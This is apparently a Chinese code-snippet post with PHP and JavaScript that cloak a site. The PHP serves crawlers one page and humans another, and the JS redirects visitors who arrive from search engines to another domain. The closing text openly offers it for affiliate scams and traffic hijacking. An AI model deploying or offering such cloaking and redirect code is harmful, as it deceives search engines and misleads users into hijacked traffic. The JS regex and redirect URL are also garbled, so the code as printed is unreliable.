- PHP判断搜索引擎来路跳转代码:
- <?php
- $flag = false;
- $tmp = $_SERVER['HTTP_USER_AGENT'];
- if(strpos($tmp, 'Googlebot') !== false){
- $flag = true;
- } else if(strpos($tmp, 'Baiduspider') >0){
- $flag = true;
- } else if(strpos($tmp, 'Yahoo! Slurp') !== false){
- $flag = true;
- } else if(strpos($tmp, 'msnbot') !== false){
- $flag = true;
- } else if(strpos($tmp, 'Sosospider') !== false){
- $flag = true;
- } else if(strpos($tmp, 'YodaoBot') !== false || strpos($tmp, 'OutfoxBot') !== false){
- $flag = true;
- } else if(strpos($tmp, 'Sogou web spider') !== false || strpos($tmp, 'Sogou Orion spider') !== false){
- $flag = true;
- } else if(strpos($tmp, 'fast-webcrawler') !== false){
- $flag = true;
- } else if(strpos($tmp, 'Gaisbot') !== false){
- $flag = true;
- } else if(strpos($tmp, 'ia_archiver') !== false){
- $flag = true;
- } else if(strpos($tmp, 'altavista') !== false){
- $flag = true;
- } else if(strpos($tmp, 'lycos_spider') !== false){
- $flag = true;
- } else if(strpos($tmp, 'Inktomi slurp') !== false){
- $flag = true;
- }
- if($flag == false){
- //header("Location: " . $_SERVER['REQUEST_URI']);
- require_once("cd.htm");
- // 自动转到 对应的网页
- // $_SERVER['REQUEST_URI'] 为域名后面的路径
- // 或 换成 header("Location: /abc/d.php");
- exit();
- }
- else
- {
- require_once("news1.htm");
- }
- ?>
- JS判断搜索引擎来路跳转代码:
- var regexp=//.(sogou|soso|baidu|google|youdao|yahoo|bing|118114|biso|gougou|ifeng|ivc|sooule|niuhu|biso)(/.[a-z0-9/-]+){1,2}///ig;
- var where =document.referrer;
- if(regexp.test(where))
- {
- window.location.href='http:www.it2168.com'
- }
- 直接输入域名,打开网页,没有任何异常。但是通过百度谷歌搜狗等搜索引擎点进来的用户,会执行跳转。可以用来做淘宝客,也可以用来劫持流量。
复制代码 |